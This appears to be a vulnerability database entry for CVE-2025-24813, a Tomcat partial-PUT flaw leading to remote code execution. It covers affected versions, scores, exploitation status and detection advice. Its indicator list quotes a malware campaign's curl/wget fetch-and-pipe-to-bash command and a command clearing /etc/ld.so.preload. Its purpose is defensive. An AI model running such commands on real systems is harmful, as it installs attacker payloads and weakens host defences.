cbcvebase.
CVE-2025-24813
published 2025-03-10

CVE-2025-24813: Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files…

PriorityP195critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2025-04-22
Exploited in the wild
EPSS
99.94%
100.0th percentile
Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads - attacker knowledge of the names of security sensitive files being uploaded - the security sensitive files also being uploaded via partial PUT If all of the following were true, a malicious user was able to perform remote code execution: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - application was using Tomcat's file based session persistence with the default storage location - application included a library that may be leveraged in a deserialization attack Users are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.

Affected

12 ranges
VendorProductVersion rangeFixed in
apachetomcat< 9.0.999.0.99
apachetomcat
apachetomcat
apachetomcat>= 10.1.1 < 10.1.3510.1.35
apachetomcat>= 11.0.1 < 11.0.311.0.3
apache_software_foundationapache_tomcat10.1.0-M1 – 10.1.34
apache_software_foundationapache_tomcat11.0.0-M1 – 11.0.2
apache_software_foundationapache_tomcat8.5.0 – 8.5.100
apache_software_foundationapache_tomcat9.0.0.M1 – 9.0.98
debiandebian_linux
debiantomcat10< tomcat10 10.1.34-0+deb12u2 (bookworm)tomcat10 10.1.34-0+deb12u2 (bookworm)
debiantomcat9< tomcat10 10.1.34-0+deb12u2 (bookworm)tomcat10 10.1.34-0+deb12u2 (bookworm)

Detection & IOCsextracted from sources · hover to see the quote

ip203.160.68[.]24
ip176.65.138[.]172
ip38.126.114[.]186
ip188.213.161[.]98
ip140.143.182[.]115
ip196.240.54[.]120
domainwww[.]fastsoco[.]top
urlhttps[:]//sites[.]google[.]com/view/2025soco/
filenamesoco.sh
filenameapp2
filenameok.exe
pathC:\Users\Public\os.exe
process[cpuhp/1]
process[kworker/R-rcu_p]
commandsh -c "(curl http://:8080/soco.sh||wget -q -O- http://:8080/soco.sh||cc http://:8080/soco.sh||ww -q -O- http://:8080/soco.sh)|bash"
snort
App.Exploit.CVE-2025-24813
  • Monitor web server logs for unexpected partial PUT requests, which are the first stage of the CVE-2025-24813 exploit chain used to upload a malicious serialized Java payload as a session file.
  • Alert on presence of unexpected JSP files appearing in the web server root directory, which may indicate successful exploitation and webshell placement.
  • Alert on external POST or GET requests targeting suspicious JSP files on Tomcat servers, which may indicate post-exploitation webshell interaction.
  • Detect WAF rule triggers indicating attempts to upload or execute unauthorized files via PUT requests on Apache Tomcat.
  • Attackers use Base64-encoded payloads in PUT requests to evade traditional signature-based detection; inspect and decode PUT request bodies for serialized Java objects.
  • Monitor for /etc/ld.so.preload being cleared (cat /dev/null > /etc/ld.so.preload) as a post-exploitation indicator used by Soco404 to eliminate competing miners and evade LD_PRELOAD-based rootkits.
  • Use the Zscaler WAF signatures 6000004, 944250, and 944110 to detect Unix command injection, suspicious Java method invocations, and Java process spawning associated with CVE-2025-24813 exploitation.
  • ·RCE via CVE-2025-24813 requires write permissions enabled on the default servlet, which is DISABLED by default. Environments without this non-default configuration are not vulnerable to RCE.
  • ·RCE exploitation additionally requires Tomcat's file-based session persistence with the default storage location to be in use, which is NOT enabled by default.
  • ·RCE exploitation requires the application to include a library that can be leveraged in a deserialization attack; without such a gadget library present, deserialization-based RCE is not achievable.
  • ·Partial PUT support must be enabled for exploitation; this IS enabled by default, meaning it alone does not distinguish vulnerable from non-vulnerable instances.
  • ·Only a limited number of Tomcat instances are likely affected; a GitHub code search for the write-enabled default servlet configuration (readonly AND "false" language:xml) returned only 218 open-source projects using this setting.
  • ·GreyNoise confirmed that as of initial reporting, exploit traffic was limited to naive attackers using publicly available PoC code, not sophisticated threat actors.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
osv9.8CRITICAL
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_debian9.8CRITICAL
vendor_oracle9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_ubuntu9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.